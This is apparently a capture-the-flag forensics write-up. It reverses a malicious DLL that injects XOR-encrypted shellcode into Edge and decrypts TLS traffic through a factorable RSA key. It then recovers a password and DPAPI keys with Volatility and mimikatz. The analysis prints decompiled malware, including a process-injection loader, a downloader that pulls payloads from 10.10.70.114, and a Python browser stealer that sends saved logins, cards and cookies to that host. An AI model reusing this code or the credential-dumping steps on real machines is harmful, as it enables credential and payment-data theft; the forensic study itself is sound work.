Full report: https://www.virustotal.com/gui/file/956c795d41025ff17fc49f539deae3e44d099a81b6d78999a844c8e73a317b4e
Reversing cryptbase.dll
At the entry point, a conditional is presented, if the DLL is being attached to a process (fdwReason == DLL_PROCESS_ATTACH) it will call sub_7FFED65117B0(); otherwise jump out the address: 0x7FFED65114CCLL:
.text:00007FFED65115F4 ; BOOL __stdcall DllEntryPoint(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpReserved)
.text:00007FFED65115F4 public DllEntryPoint
.text:00007FFED65115F4 DllEntryPoint proc near
.text:00007FFED65115F4
.text:00007FFED65115F4 arg_0= qword ptr 8
.text:00007FFED65115F4 arg_8= qword ptr 10h
.text:00007FFED65115F4
.text:00007FFED65115F4 mov [rsp+arg_0], rbx
.text:00007FFED65115F9 mov [rsp+arg_8], rsi
.text:00007FFED65115FE push rdi
.text:00007FFED65115FF sub rsp, 20h
.text:00007FFED6511603 mov rdi, r8
.text:00007FFED6511606 mov ebx, edx
.text:00007FFED6511608 mov rsi, rcx
.text:00007FFED651160B cmp edx, 1
.text:00007FFED651160E jnz short loc_7FFED6511615
.text:00007FFED6511610 call sub_7FFED65117B0
.text:00007FFED6511615 loc_7FFED6511615:
.text:00007FFED6511615 mov r8, rdi
.text:00007FFED6511618 mov edx, ebx
.text:00007FFED651161A mov rcx, rsi
.text:00007FFED651161D mov rbx, [rsp+28h+arg_0]
.text:00007FFED6511622 mov rsi, [rsp+28h+arg_8]
.text:00007FFED6511627 add rsp, 20h
.text:00007FFED651162B pop rdi
.text:00007FFED651162C jmp loc_7FFED65114CC
.text:00007FFED651162C DllEntryPoint endpFlow program
Being sub_7FFED65117B0 the security cookie, after some conditions and called functions, we found the function: sub_7FFED6511000():
int sub_7FFED6511000()
{
HRSRC ResourceW; // rax
HRSRC v1; // rdi
DWORD v2; // ebx
HGLOBAL Resource; // rax
HRSRC v4; // rbp
SIZE_T v5; // rsi
HRSRC v6; // rdi
DWORD v7; // edx
HRSRC v8; // rcx
__int64 v9; // rax
DWORD (__stdcall *v10)(LPVOID); // rbx
HRSRC v11; // rbx
HMODULE phModule; // [rsp+50h] [rbp-B8h] BYREF
struct _PROCESS_INFORMATION ProcessInformation; // [rsp+58h] [rbp-B0h] BYREF
DWORD ExitCode; // [rsp+70h] [rbp-98h] BYREF
SIZE_T NumberOfBytesWritten; // [rsp+78h] [rbp-90h] BYREF
struct _STARTUPINFOW lpStartupInfo; // [rsp+80h] [rbp-88h] BYREF
lpStartupInfo.cb = 104;
memset(&lpStartupInfo.lpReserved, 0, 96);
LODWORD(ResourceW) = CreateProcessW(
L"C:\\Program Files (x86)\\Microsoft\\Edge\\Application\\msedge.exe",
0LL,
0LL,
0LL,
0,
4u,
0LL,
0LL,
&lpStartupInfo,
&ProcessInformation);
if ( ResourceW )
{
phModule = 0LL;
LODWORD(ResourceW) = GetModuleHandleExW(4u, sub_7FFED6511000, &phModule);
if ( ResourceW )
{
ResourceW = FindResourceW(phModule, 0x65, L"SHELL");
v1 = ResourceW;
if ( ResourceW )
{
v2 = SizeofResource(phModule, ResourceW);
Resource = LoadResource(phModule, v1);
ResourceW = LockResource(Resource);
v4 = ResourceW;
if ( ResourceW )
{
if ( v2 )
{
v5 = v2;
ResourceW = VirtualAlloc(0LL, v2, 0x1000u, 0x40u);
v6 = ResourceW;
if ( ResourceW )
{
sub_7FFED651D400(ResourceW, v4, v2);
v7 = 0;
v8 = v6;
do
{
v8 = (v8 + 1);
v9 = v7++ & 0xF;
*(v8 - 1) ^= aX7qp9zlma2vtej[v9];
}
while ( v7 < v2 );
ResourceW = VirtualAllocEx(ProcessInformation.hProcess, 0LL, v2, 0x3000u, 0x40u);
v10 = ResourceW;
if ( ResourceW )
{
NumberOfBytesWritten = 0LL;
LODWORD(ResourceW) = WriteProcessMemory(
ProcessInformation.hProcess,
ResourceW,
v6,
v5,
&NumberOfBytesWritten);
if ( ResourceW )
{
ResourceW = CreateRemoteThread(ProcessInformation.hProcess, 0LL, 0LL, v10, 0LL, 0, 0LL);
v11 = ResourceW;
if ( ResourceW )
{
ExitCode = 0;
GetExitCodeThread(ResourceW, &ExitCode);
CloseHandle(v11);
CloseHandle(ProcessInformation.hThread);
CloseHandle(ProcessInformation.hProcess);
LODWORD(ResourceW) = VirtualFree(v6, 0LL, 0x8000u);
}
}
}
}
}
}
}
}
}
return ResourceW;
}Dumping Shellcode
Without getting deeper with the function, it recreate a process injection to execute a shellcode inside the msedge.exe process. As x64dbg doesn’t recognize the PE file, use the Sysinternals rcedump to dump the shellcode without reversing or use Resource Hacker:

Decrypting Shellcode
Once we save it, remember to xor it with the key: aX7qp9zlma2vtej, to avoid scripting can use Cyberchef:

Extracting Shellcode Data
Uploading it to virustotal: https://www.virustotal.com/gui/file/254ce67262ad7bcf853ba125a669088a07b5508d3bdfda97fb243d73ce9b1f5b
Some AV detects it as Generic.ShellCode.RDI.Marte.10.9F70A3A9, by doing a bit of researching we can find the following github repo: https://github.com/monoxgas/sRDI, mention it is a Shellcode implementation of Reflective DLL Injection. Convert DLLs to position independent shellcode. As the final result is to convert an executable into a shellcode, we try carving out the PE file with binwalk:
$> binwalk shellcode.bin
DECIMAL HEXADECIMAL DESCRIPTION
--------------------------------------------------------------------------------
2856 0xB28 Microsoft executable, portable (PE)
13704 0x3588 XML document, version: "1.0"As binwalk give us and error by trying to export it
$> binwalk shellcode.bin -E
DECIMAL HEXADECIMAL ENTROPY
--------------------------------------------------------------------------------
0 0x0 Falling entropy edge (0.764837)
/home/yl/.local/lib/python3.11/site-packages/binwalk/modules/entropy.py:317: UserWarning: FigureCanvasAgg is non-interactive, and thus cannot be shown
plt.show()We can use dd or pefile-python:
$> dd if=shellcode.bin of=extracted.dll bs=1 skip=$((0xB28))
11780+0 records in
11780+0 records out
11780 bytes (12 kB, 12 KiB) copied, 5.85917 s, 2.0 kB/simport pefile
with open("shellcode.bin", "rb") as f:
data = f.read()
pe_data = data[0xB28:]
pe = pefile.PE(data=pe_data)
pe.write(filename="extracted.dll")Reversing extracted.dll
Inside the dll we find a function called RunMe_:
ReturnType Name CC StartEA Callers
--------------------------------------------------------------------------------------------
unknown RunME_0 unknown 180001000 2With the following content:
int RunME_0()
{
__int64 v0; // rdi
__int64 v1; // rdx
CHAR *v2; // rcx
CHAR v3; // al
CHAR *v4; // rax
__int64 v5; // rcx
CHAR *v6; // rax
__int64 v7; // rax
CHAR *v8; // rcx
__int64 v9; // rdx
__int64 v10; // rax
char *v11; // r9
CHAR v12; // r8
CHAR *v13; // rax
__int64 v14; // rdx
CHAR *v15; // rcx
CHAR v16; // al
CHAR *v17; // rax
__int64 v18; // rcx
CHAR *v19; // rax
__int64 v20; // rax
CHAR *v21; // rcx
__int64 v22; // rdx
__int64 v23; // rax
char *v24; // r9
CHAR v25; // r8
CHAR *v26; // rax
int result; // eax
__int64 v28; // rdx
CHAR *v29; // rcx
CHAR v30; // al
CHAR *v31; // rax
__int64 v32; // rcx
CHAR *v33; // rax
__int64 v34; // rax
CHAR *v35; // rcx
__int64 v36; // rbx
char *v37; // rdx
CHAR v38; // al
CHAR *v39; // rax
CHAR v40[272]; // [rsp+30h] [rbp-458h] BYREF
CHAR v41[272]; // [rsp+140h] [rbp-348h] BYREF
CHAR pszPath[272]; // [rsp+250h] [rbp-238h] BYREF
CHAR v43[272]; // [rsp+360h] [rbp-128h] BYREF
v0 = 2147483646LL;
if ( SHGetFolderPathA(0LL, 26, 0LL, 0, pszPath) >= 0 )
{
v1 = 260LL;
v2 = v40;
do
{
if ( v1 == -2147483386 )
break;
v3 = v2[pszPath - v40];
if ( !v3 )
break;
*v2++ = v3;
--v1;
}
while ( v1 );
v4 = v2 - 1;
if ( v1 )
v4 = v2;
v5 = 260LL;
*v4 = 0;
v6 = v40;
do
{
if ( !*v6 )
break;
++v6;
--v5;
}
while ( v5 );
v7 = 260 - v5;
if ( v5 )
{
v8 = &v40[v7];
v9 = 260 - v7;
if ( v7 != 260 )
{
v10 = 2147483646LL;
v11 = (char *)("\\encrypted.bin" - v8);
do
{
if ( !v10 )
break;
v12 = v8[(_QWORD)v11];
if ( !v12 )
break;
*v8 = v12;
--v10;
++v8;
--v9;
}
while ( v9 );
}
v13 = v8 - 1;
if ( v9 )
v13 = v8;
*v13 = 0;
}
URLDownloadToFileA(0LL, "https://10.10.70.114/encrypted.bin", v40, 0, 0LL);
}
v14 = 260LL;
v15 = v41;
do
{
if ( v14 == -2147483386 )
break;
v16 = v15[pszPath - v41];
if ( !v16 )
break;
*v15++ = v16;
--v14;
}
while ( v14 );
v17 = v15 - 1;
if ( v14 )
v17 = v15;
v18 = 260LL;
*v17 = 0;
v19 = v41;
do
{
if ( !*v19 )
break;
++v19;
--v18;
}
while ( v18 );
v20 = 260 - v18;
if ( v18 )
{
v21 = &v41[v20];
v22 = 260 - v20;
if ( v20 != 260 )
{
v23 = 2147483646LL;
v24 = (char *)("\\2.txt" - v21);
do
{
if ( !v23 )
break;
v25 = v21[(_QWORD)v24];
if ( !v25 )
break;
*v21 = v25;
--v23;
++v21;
--v22;
}
while ( v22 );
}
v26 = v21 - 1;
if ( v22 )
v26 = v21;
*v26 = 0;
}
URLDownloadToFileA(0LL, "https://10.10.70.114/2.txt", v41, 0, 0LL);
URLDownloadToFileA(0LL, "https://10.10.70.114/L3AK{AV_evasion_is_easy", v41, 0, 0LL);
result = SHGetFolderPathA(0LL, 7, 0LL, 0, v43);
if ( result >= 0 )
{
v28 = 260LL;
v29 = v40;
do
{
if ( v28 == -2147483386 )
break;
v30 = v29[v43 - v40];
if ( !v30 )
break;
*v29++ = v30;
--v28;
}
while ( v28 );
v31 = v29 - 1;
if ( v28 )
v31 = v29;
v32 = 260LL;
*v31 = 0;
v33 = v40;
do
{
if ( !*v33 )
break;
++v33;
--v32;
}
while ( v32 );
v34 = 260 - v32;
if ( v32 )
{
v35 = &v40[v34];
v36 = 260 - v34;
if ( 260 != v34 )
{
v37 = (char *)("\\sctask.exe" - v35);
do
{
if ( !v0 )
break;
v38 = v35[(_QWORD)v37];
if ( !v38 )
break;
*v35 = v38;
--v0;
++v35;
--v36;
}
while ( v36 );
}
v39 = v35 - 1;
if ( v36 )
v39 = v35;
*v39 = 0;
}
return URLDownloadToFileA(0LL, "https://10.10.70.114/sctasks.exe", v40, 0, 0LL);
}
return result;
}IoCs from Dynamic-link library
Obtaining the first part of the flag L3AK{AV_evasion_is_easy and a web server hosted on 10.10.70.114, that we will go further inside the pcapng file, with some others endpoints such as:
- sctasks.exe
- 2.txt
- encrypted.bin
Network Forensics
Thanks to the IoCs from the memory analysis, we have the next step inside the real challenge, with wireshark open the pcapng file and filter for the ip mentioned:
Using the filter:
ip.src==10.10.70.114Expecting for HTTPs packets, we only find tcp/tls packets, with 100% prevalence:

At this moment, I remember the challenge from MetaCTF: https://metactf.com/blog/flash-ctf-tampered-seal/, where it abuses from a TLS vulnerable key for decrypting the whole capture, creating our own pem file.
From a TLSv1.2 packet with Server HEello, Certificate, Server Hello Done, extract the certificate content:

Extracting Handshake
You can also export it with tshark, identifying the packet and obtaining the TLS Handshake Certificate.
$> tshark -r traffic.pcapng -Y "frame.number == 31"
31 6.814918114 10.10.70.114 → 10.10.70.140 TLSv1.2 833 Server Hello, Certificate, Server Hello Done
$> tshark -r traffic.pcapng -Y "frame.number == 31" -T fields -e tls.handshake.certificate
308202b1308201f4a003020102021476a9af24d71ac3aafdd3cab125fd0df2906a7e76300d06092a864886f70d01010b05003045310b30090603550406130241553113301106035504080c0a536f6d652d53746174653121301f060355040a0c18496e7465726e6574205769646769747320507479204c7464301e170d3235303631353031303931325a170d3236303631353031303931325a3045310b30090603550406130241553113301106035504080c0a536f6d652d53746174653121301f060355040a0c18496e7465726e6574205769646769747320507479204c74643081c4300d06092a864886f70d01010105000381b2003081ae0281a6045e86654bc0a3b7ca873107a336f527d1305f6a44c80e3d54bafed669c45118d5c30c89c465c0ccfb060a625922b42f9a70255f6d20825e3bf84c7ca29f3f5b04895251e70fe876a74c1b3583bf7f3eaecd56b4d4487c66b0aa155bb935c0a20d925b314d079c1e91d5775346c6e4b7bf0ae11ed93a55b3d26b713e25b1d316660b989cdf935be67fff82bc89000000000000000000000000000000000000000000000132990203010001a3533051301d0603551d0e04160414ae05e9e818023035fcbd2da8b3687ef07e3e6d50301f0603551d23041830168014ae05e9e818023035fcbd2da8b3687ef07e3e6d50300f0603551d130101ff040530030101ff300d06092a864886f70d01010b05000381a700004b052ab4ae2b7ead6770297aa791e9f94547fbfdc1433669e9337e296107714d14d8bb258f80f66c281b6ba8dd20abbbcd89ca2e768bde6d2872e0484bd52b76ff8f9060452431e858c417ec39c5f92acbc2f464df20af5f42f4aa78525576aa045ab6aaf46cdc6e6fdd3a935b8cdeafa0ef8f898a50b678b7338e076b4fdce169099bb9b786456e5d716a8653d6b6f23bc1e565c6fb45dfb8272bdfd98f2780b63442edecOnce you have it, create the bin file, and check you create it correctly.
$> tshark -r traffic.pcapng -Y "frame.number == 31" -T fields -e tls.handshake.certificate | xxd -r -p > cert.bin
$> file cert.bin
cert.bin: Certificate, Version=3Obtaining Modulus
Now with openssl, get the modulus to obtain thhe prime factors:
$> openssl x509 -in ./cert.bin -inform DER -text -noout 1 ↵
Certificate:
Data:
Version: 3 (0x2)
Serial Number:
76:a9:af:24:d7:1a:c3:aa:fd:d3:ca:b1:25:fd:0d:f2:90:6a:7e:76
Signature Algorithm: sha256WithRSAEncryption
Issuer: C = AU, ST = Some-State, O = Internet Widgits Pty Ltd
Validity
Not Before: Jun 15 01:09:12 2025 GMT
Not After : Jun 15 01:09:12 2026 GMT
Subject: C = AU, ST = Some-State, O = Internet Widgits Pty Ltd
Subject Public Key Info:
Public Key Algorithm: rsaEncryption
Public-Key: (1323 bit)
Modulus:
04:5e:86:65:4b:c0:a3:b7:ca:87:31:07:a3:36:f5:
27:d1:30:5f:6a:44:c8:0e:3d:54:ba:fe:d6:69:c4:
51:18:d5:c3:0c:89:c4:65:c0:cc:fb:06:0a:62:59:
22:b4:2f:9a:70:25:5f:6d:20:82:5e:3b:f8:4c:7c:
a2:9f:3f:5b:04:89:52:51:e7:0f:e8:76:a7:4c:1b:
35:83:bf:7f:3e:ae:cd:56:b4:d4:48:7c:66:b0:aa:
15:5b:b9:35:c0:a2:0d:92:5b:31:4d:07:9c:1e:91:
d5:77:53:46:c6:e4:b7:bf:0a:e1:1e:d9:3a:55:b3:
d2:6b:71:3e:25:b1:d3:16:66:0b:98:9c:df:93:5b:
e6:7f:ff:82:bc:89:00:00:00:00:00:00:00:00:00:
00:00:00:00:00:00:00:00:00:00:00:00:00:01:32:
99
Exponent: 65537 (0x10001)
X509v3 extensions:
X509v3 Subject Key Identifier:
AE:05:E9:E8:18:02:30:35:FC:BD:2D:A8:B3:68:7E:F0:7E:3E:6D:50
X509v3 Authority Key Identifier:
AE:05:E9:E8:18:02:30:35:FC:BD:2D:A8:B3:68:7E:F0:7E:3E:6D:50
X509v3 Basic Constraints: critical
CA:TRUE
Signature Algorithm: sha256WithRSAEncryption
Signature Value:
00:4b:05:2a:b4:ae:2b:7e:ad:67:70:29:7a:a7:91:e9:f9:45:
47:fb:fd:c1:43:36:69:e9:33:7e:29:61:07:71:4d:14:d8:bb:
25:8f:80:f6:6c:28:1b:6b:a8:dd:20:ab:bb:cd:89:ca:2e:76:
8b:de:6d:28:72:e0:48:4b:d5:2b:76:ff:8f:90:60:45:24:31:
e8:58:c4:17:ec:39:c5:f9:2a:cb:c2:f4:64:df:20:af:5f:42:
f4:aa:78:52:55:76:aa:04:5a:b6:aa:f4:6c:dc:6e:6f:dd:3a:
93:5b:8c:de:af:a0:ef:8f:89:8a:50:b6:78:b7:33:8e:07:6b:
4f:dc:e1:69:09:9b:b9:b7:86:45:6e:5d:71:6a:86:53:d6:b6:
f2:3b:c1:e5:65:c6:fb:45:df:b8:27:2b:df:d9:8f:27:80:b6:
34:42:ed:ecAlso, you can extract directly the modulus:
$> openssl x509 -in cert.bin -inform DER -noout -modulus
Modulus=45E86654BC0A3B7CA873107A336F527D1305F6A44C80E3D54BAFED669C45118D5C30C89C465C0CCFB060A625922B42F9A70255F6D20825E3BF84C7CA29F3F5B04895251E70FE876A74C1B3583BF7F3EAECD56B4D4487C66B0AA155BB935C0A20D925B314D079C1E91D5775346C6E4B7BF0AE11ED93A55B3D26B713E25B1D316660B989CDF935BE67FFF82BC8900000000000000000000000000000000000000000000013299Pass it to a base 10 number:
100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000006660000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000078489Cracking the Modulus
And crack the prime factors:

Obtaining:
1000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000015310000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000513
Creating PEM file
We can create the pem file:
from Crypto.PublicKey import RSA
def make_rsa_private_key(p, q, e=65537):
n = p * q
phi = (p-1)*(q-1)
d = pow(e, -1, phi)
key = RSA.construct((n, e, d))
return key
if __name__ == "__main__":
p = 10000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000153
q = 10000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000513
key = make_rsa_private_key(p, q)
with open("private.pem", "wb") as f:
f.write(key.export_key("PEM"))
print("Private key saved to private.pem")$> file private.pem
private.pem: PEM RSA private keyApply it to wireshark, with the port 443 and the ip address from the beggining:

Dumping flag and exe
Inside the HTTP protocol you will see the second part of the flag:
GET /2.txt HTTP/1.1
Host: 10.10.70.114
Connection: keep-alive
sec-ch-ua: "Brave";v="137", "Chromium";v="137", "Not/A)Brand";v="24"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8
Sec-GPC: 1
Accept-Language: en-US,en;q=0.5
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: https://10.10.70.114/
Accept-Encoding: gzip, deflate, br, zstd
HTTP/1.0 200 OK
Server: SimpleHTTP/0.6 Python/3.13.3
Date: Sun, 15 Jun 2025 12:58:37 GMT
Content-type: text/plain
Content-Length: 21
Last-Modified: Sun, 15 Jun 2025 12:57:21 GMT
_Mastering_forensics_Furthemore, extract encrypted.bin and sctask.exe that will be useful for a future.
Disk Forensics
Extracting pyc from sctask.exe
Starting with the analysis of sctask.exe with VT: https://www.virustotal.com/gui/file/e0a69746dcdfd36ec39ee04bb53a64aa06eb3ba9f4a21e302d39f26dcbdaac06, we can use pyinstxtractor.py to obtain pyc files:
$> python3 pyinstxtractor/pyinstxtractor.py sctask.exe
[+] Processing sctask.exe
[+] Pyinstaller version: 2.1+
[+] Python version: 3.13
[+] Length of package: 13710883 bytes
[+] Found 131 files in CArchive
[+] Beginning extraction...please standby
[+] Possible entry point: pyiboot01_bootstrap.pyc
[+] Possible entry point: pyi_rth_inspect.pyc
[+] Possible entry point: pyi_rth_pkgutil.pyc
[+] Possible entry point: pyi_rth_multiprocessing.pyc
[+] Possible entry point: pyi_rth_pkgres.pyc
[+] Possible entry point: pyi_rth_setuptools.pyc
[+] Possible entry point: browser_stealer.pyc
[!] Warning: This script is running in a different Python version than the one used to build the executable.
[!] Please run this script in Python 3.13 to prevent extraction errors during unmarshalling
[!] Skipping pyz extraction
[+] Successfully extracted pyinstaller archive: sctask.exe
You can now use a python decompiler on the pyc files within the extracted directoryDecompiling pyc files
To watch the source code of a pyc we can use the following online tool: https://pylingual.io/. We focus on browser_stealer.pyc:
\# Decompiled with PyLingual (https://pylingual.io)
## Internal filename: browser_stealer.py
## Bytecode version: 3.13.0rc3 (3571)
## Source timestamp: 1970-01-01 00:00:00 UTC (0)
import base64
import json
import os
import shutil
import sqlite3
from datetime import datetime, timedelta
from Crypto.Cipher import AES
from win32crypt import CryptUnprotectData
appdata = os.getenv('LOCALAPPDATA')
roaming = os.getenv('APPDATA')
browsers = {'avast': appdata + '\\AVAST Software\\Browser\\User Data', 'amigo': appdata + '\\Amigo\\User Data', 'torch': appdata + '\\Torch\\User Data', 'kometa': appdata + '\\Kometa\\User Data', 'orbitum': appdata + '\\Orbitum\\User Data', 'cent-browser': appdata + '\\CentBrowser\\User Data', '7star': appdata + '\\7Star\\7Star\\User Data', 'sputnik': appdata + '\\Sputnik\\Sputnik\\User Data', 'vivaldi': appdata + '\\Vivaldi\\User Data', 'chromium': appdata + '\\Chromium\\User Data', 'chrome-canary': appdata + '\\Google\\Chrome SxS\\User Data', 'chrome': appdata + '\\Google\\Chrome\\User Data', 'epic-privacy-browser': appdata + '\\Epic Privacy Browser\\User Data', 'msedge-dev': appdata + '\\Microsoft\\Edge Dev\\User Data', '\\uCozMedia\\Uran\\User Data': appdata + '\\Yandex\\YandexBrowser\\User Data', '\\BraveSoftware\\Brave-Browser\\User Data': appdata + '\\Iridium\\User Data', '\\CocCoc\\Browser\\User Data': roaming + '\\Opera Software\\Opera Stable', '\\Opera Software\\Opera GX Stable': roaming + '\\Opera Software\\Opera GX Stable'}
data_queries = {'login_data': {'query': 'SELECT action_url, username_value, password_value FROM logins', 'file': '\\Login Data', 'columns': ['URL', 'Email', 'Password'], 'decrypt': True}, 'credit_cards': {'query': 'SELECT name_on_card, expiration_month, expiration_year, card_number_encrypted, date_modified FROM credit_cards', 'file': '\\Web Data', 'columns': ['Name On Card', 'Card Number', 'Expires On', 'Added On'], 'decrypt': True}, 'cookies': {'query': 'SELECT host_key, name, path, encrypted_value, expires_utc FROM cookies', 'file': '\\Network\\Cookies', 'columns': ['Host Key', 'Cookie Name', 'Path', 'Cookie', 'Expires On'], 'decrypt': True}, 'history': {'query': 'SELECT url, title, last_visit_time FROM urls', 'file': '\\History', 'columns': ['URL', 'Title', 'Visited Time'], 'decrypt': False}, 'downloads': {'query': 'SELECT tab_url, target_path FROM downloads'
def get_master_key(path: str):
if not os.path.exists(path):
pass # postinserted
return None
def decrypt_password(buff: bytes, key: bytes) -> str:
iv = buff[3:15]
payload = buff[15:(-16)]
cipher = AES.new(key, AES.MODE_GCM, iv)
decrypted_pass = cipher.decrypt(payload)
decrypted_pass = decrypted_pass.decode()
return decrypted_pass
def save_results(browser_name, type_of_data, content):
if content:
url = 'http://10.10.70.114:443'
data = {'browser': browser_name, 'type': type_of_data, 'content': content}
try:
response = requests.post(url, json=data)
if response.status_code == 200:
print(f'\t [*] Data sent successfully for {browser_name}/{type_of_data}')
return None
else: # inserted
return None
except Exception as e:
print(f'\t [-] Error sending data: {e}')
return None
def decrypt_my_data(encrypted_file):
with open('encrypted.bin', 'rb') as f:
content = f.read()
iv = '1234567891011123'
encrypted_data = '6b4781995cf5e4e02c2625b3d1ac6389dbaf68fb5649a3c24ede19465f470412'
key = CryptUnprotectData(content, None, None, None, 0)[1]
key = bytes.fromhex(key)
cipher = AES.new(key, AES.MODE_CBC, iv)
data = cipher.decrypt(encrypted_data)
return decrypt_my_data
def get_data(path: str, profile: str, key, type_of_data):
db_file = f"{path}\\{profile}{type_of_data['file']}"
if not os.path.exists(db_file):
pass # postinserted
return None
def convert_chrome_time(chrome_time):
return (datetime(1601, 1, 1) + timedelta(microseconds=chrome_time)).strftime('%d/%m/%Y %H:%M:%S')
def installed_browsers():
available = []
for x in browsers.keys():
if os.path.exists(browsers[x] + '\\Local State'):
pass # postinserted
else: # inserted
available.append(x)
return available
if __name__ == '__main__':
available_browsers = installed_browsers()
for browser in available_browsers:
browser_path = browsers[browser]
master_key = get_master_key(browser_path)
print(f'Getting Stored Details from {browser}')
for data_type_name, data_type in data_queries.items():
print(f"\t [!] Getting {data_type_name.replace('_', ' ').capitalize()}")
notdefault = ['opera-gx']
profile = 'Default'
profile = '' if browser in notdefault else ''
data = get_data(browser_path, profile, master_key, data_type)
save_results(browser, data_type_name, data)
print('\t------\n')Understanding flow program
The function: decrypt_my_data, decrypts encrypted.bin using DPAPI with an AES decryption, we know that thanks to the function: CryptUnprotectData():
def decrypt_my_data(encrypted_file):
with open('encrypted.bin', 'rb') as f:
content = f.read()
iv = '1234567891011123'
encrypted_data = '6b4781995cf5e4e02c2625b3d1ac6389dbaf68fb5649a3c24ede19465f470412'
key = CryptUnprotectData(content, None, None, None, 0)[1]
key = bytes.fromhex(key)
cipher = AES.new(key, AES.MODE_CBC, iv)
data = cipher.decrypt(encrypted_data)
return decrypt_my_dataDPAPI is used in common browsers such as Chrome, or any chromium based browsers, like Opera. Following this HTB writeup we can be able to complete the last step of the challenge:
Dumping DPAPI keys
As we can see, to obtain the master key we need to enter in the directory: \AppData\Roaming\Microsoft\Protect, so with FTK Imager we are able to dump the folders inside the path named.

Once dumped the file, we can use mimikatz to extract the DPAPI keys:
PS C:\L3akCTF> Get-ChildItem -Hidden .\S-1-5-21-2532670039-4151104164-2696135040-1001\
Directory: C:\Users\yl\Documents\Retos\L3akCTF\S-1-5-21-2532670039-4151104164-2696135040-1001
Mode LastWriteTime Length Name
---- ------------- ------ ----
-a-hs- 6/13/2025 10:01 AM 468 4dc3472c-8370-4831-9124-f45a6d742757
-a-hs- 6/13/2025 10:01 AM 24 PreferredObtaining user password
But before dumping the DPAPI we need the password of the user, so we need to comeback to the memdump.mem file and export all hashes from users:
PS C:\L3akCTF> & "C:\Program Files\VolatilityWorkbench\vol.exe" -f .\MemoryAnalysis\memdump.mem windows.hashdump
Volatility 3 Framework 2.11.0
Progress: 100.00 PDB scanning finished
User rid lmhash nthash
Administrator 500 aad3b435b51404eeaad3b435b51404ee 31d6cfe0d16ae931b73c59d7e0c089c0
Guest 501 aad3b435b51404eeaad3b435b51404ee 31d6cfe0d16ae931b73c59d7e0c089c0
DefaultAccount 503 aad3b435b51404eeaad3b435b51404ee 31d6cfe0d16ae931b73c59d7e0c089c0
WDAGUtilityAccount 504 aad3b435b51404eeaad3b435b51404ee 3adba90fec32aa9d389feaf6be43a3f3
abdelrhman322 1001 aad3b435b51404eeaad3b435b51404ee 7ed4bd1015f33ad80eff4a63119ef2d9As the SSID we are using is 1001 the user should be abdelrhman322, so we crack the hash in crackstation. After cracking the nthash we obtain the password: 5563756. Being able to execute correctly mimikatz.
PS C:\L3akCTF> & "C:\Program Files\mimikatz-master\x64\mimikatz.exe"
.#####. mimikatz 2.2.0 (x64) #18362 Feb 29 2020 11:13:36
.## ^ ##. "A La Vie, A L'Amour" - (oe.eo)
## / \ ## /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
## \ / ## > http://blog.gentilkiwi.com/mimikatz
'## v ##' Vincent LE TOUX ( vincent.letoux@gmail.com )
'#####' > http://pingcastle.com / http://mysmartlogon.com ***/
mimikatz # dpapi::masterkey /in:".\S-1-5-21-2532670039-4151104164-2696135040-1001\4dc3472c-8370-4831-9124-f45a6d742757" /password:5563756
**MASTERKEYS**
dwVersion : 00000002 - 2
szGuid : {4dc3472c-8370-4831-9124-f45a6d742757}
dwFlags : 00000005 - 5
dwMasterKeyLen : 000000b0 - 176
dwBackupKeyLen : 00000090 - 144
dwCredHistLen : 00000014 - 20
dwDomainKeyLen : 00000000 - 0
[masterkey]
**MASTERKEY**
dwVersion : 00000002 - 2
salt : f6cf44164bec70ca0fa47a3ff524e877
rounds : 00001f40 - 8000
algHash : 0000800e - 32782 (CALG_SHA_512)
algCrypt : 00006610 - 26128 (CALG_AES_256)
pbKey : fac390672669d3c69566e79d2ec0939e86dde62d863d80ce2b0360b06808bbb92777a3e52de67c5fe0bdf68b2bcf70402978a856f1f1a7036edb389169805f4f1384c4f04863df90a7950c55ac77dad8ab9ec201584cd599ae663130f72a728e34a25a4d48e63b10b09920496415d9c3b99b186193b133aeffaf593ff368515ea81c7f9b054f14a2e9b4f29b5339febd
[backupkey]
**MASTERKEY**
dwVersion : 00000002 - 2
salt : 51ee9511244b08d571d17d884d441a81
rounds : 00001f40 - 8000
algHash : 0000800e - 32782 (CALG_SHA_512)
algCrypt : 00006610 - 26128 (CALG_AES_256)
pbKey : b2a24ebd066a54916128ee81dea58a83e8f9a32585dc785b9c65fef24bdfdc4a953e832c99eed69f7b9433cb44b33e9deeb014636f35ffa6a420127cdb929065c6ca9e7a1d2a3ee817cb03ee43c487ad165a9d86b07a22bd21cabc15ed9394cd894f125c42c6241e63f3720bc72614b8
[credhist]
**CREDHIST INFO**
dwVersion : 00000003 - 3
guid : {e6b3a0c7-4088-4781-8ba9-44695b039cf4}
Auto SID from path seems to be: S-1-5-21-2532670039-4151104164-2696135040-1001
[masterkey] with password: 5563756 (normal user)
key : e0485275a4cc2497878280660141afd34065a22a9eb01f347a26d37e4de3944227d0711262c8a1ee99a655232052a395cac97daa00e0acbf815ea86a3f5aedd2
sha1: 06e25d82fd8c0eab4104b47e176c3b8398786f4aDecrypting encrypted.bin
Now, we proceed to decrypt part of encrypted.bin, also with mimikatz:
mimikatz # dpapi::blob /in:".\encrypted.bin" /masterkey:e0485275a4cc2497878280660141afd34065a22a9eb01f347a26d37e4de3944227d0711262c8a1ee99a655232052a395cac97daa00e0acbf815ea86a3f5aedd2
**BLOB**
dwVersion : 00000001 - 1
